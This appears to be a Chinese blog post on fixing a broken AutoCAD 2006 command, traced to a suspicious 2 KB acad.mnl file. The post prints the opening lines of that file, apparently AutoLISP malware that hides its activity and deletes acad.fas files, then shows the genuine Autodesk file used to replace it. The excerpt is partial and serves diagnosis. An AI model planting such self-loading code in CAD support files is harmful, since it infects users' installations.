_ai_molc 将对象的图层设为当前 不好用

偶然发现 AUTOCAD2006 的 将对象的图层设为当前 不好用了
Command: _ai_molc Unknown command "AI_MOLC". Press F1 for help.

google搜索到 http://discussion.autodesk.com/forums/thread.jspa?threadID=403698

按照 AUTOCAD的文件支持路径的目录顺序，找到了运行的acad.mnl

打开，发现里面有问题，文件大小2kb，内容：
(setq wold_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
( setq bb 2)
(setq dpath (getvar "dwgprefix"))
(setq wpath (getvar "menuname"))
(setq wpath (substr wpath 1 (- (strlen wpath) 4)))
(setq n 0)
(while(< n 1)
(if(findfile "acad.fas")
(if(vl-file-delete (findfile "acad.fas"))
(setq n 0))
(setq n 2)))
以下省略
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搜索到其他地方的acad.mnl，文件大小16kb,内容：
;;; ACAD.MNL
;;; Copyright (C) 1992 - 1997 by Autodesk, Inc.
;;;
;;; Permission to use, copy, modify, and distribute this software
;;; for any purpose and without fee is hereby granted, provided
;;; that the above copyright notice appears in all copies and
;;; that both that copyright notice and the limited warranty and
;;; restricted rights notice below appear in all supporting
;;; documentation.
;;;
;;; AUTODESK PROVIDES THIS PROGRAM "AS IS" AND WITH ALL FAULTS.
;;; AUTODESK SPECIFICALLY DISCLAIMS ANY IMPLIED WARRANTY OF
;;; MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. AUTODESK, INC.
;;; DOES NOT WARRANT THAT THE OPERATION OF THE PROGRAM WILL BE
;;; UNINTERRUPTED OR ERROR FREE.
;;;
;;; Use, duplication, or disclosure by the U.S. Government is subject to
;;; restrictions set forth in FAR 52.227-19 (Commercial Computer
;;; Software - Restricted Rights) and DFAR 252.227-7013(c)(1)(ii)
;;; (Rights in Technical Data and Computer Software), as applicable.
;;;
;;; AutoLISP routines used by the AutoCAD Standard Menu.
;;;
;;; This file is loaded automatically following the menu ACAD.

(princ "\nAutoCAD 菜单实用程序")

;;;=== Icon Menu Functions ===

;;; View -> Layout -> Tiled Viewports...

(defun ai_tiledvp_chk (new)
(setq m:err *error* *error* *merrmsg*)

(if (= (getvar "TILEMODE") 0)
(progn
(princ "\n** "布局"不允许使用的命令 **")
(princ)
)
(progn
(if new
(menucmd "I=ACAD.IMAGE_VPORTI")
(menucmd "I=IMAGE_VPORTI")
)
(menucmd "I=*")
)
)
(setq *error* m:err m:err nil)
(princ)
)
以下省略

**********************************************
用16kb的代替2kb的，重新启动autocad，就好了。
2kb的acad.mnl，有病毒的嫌疑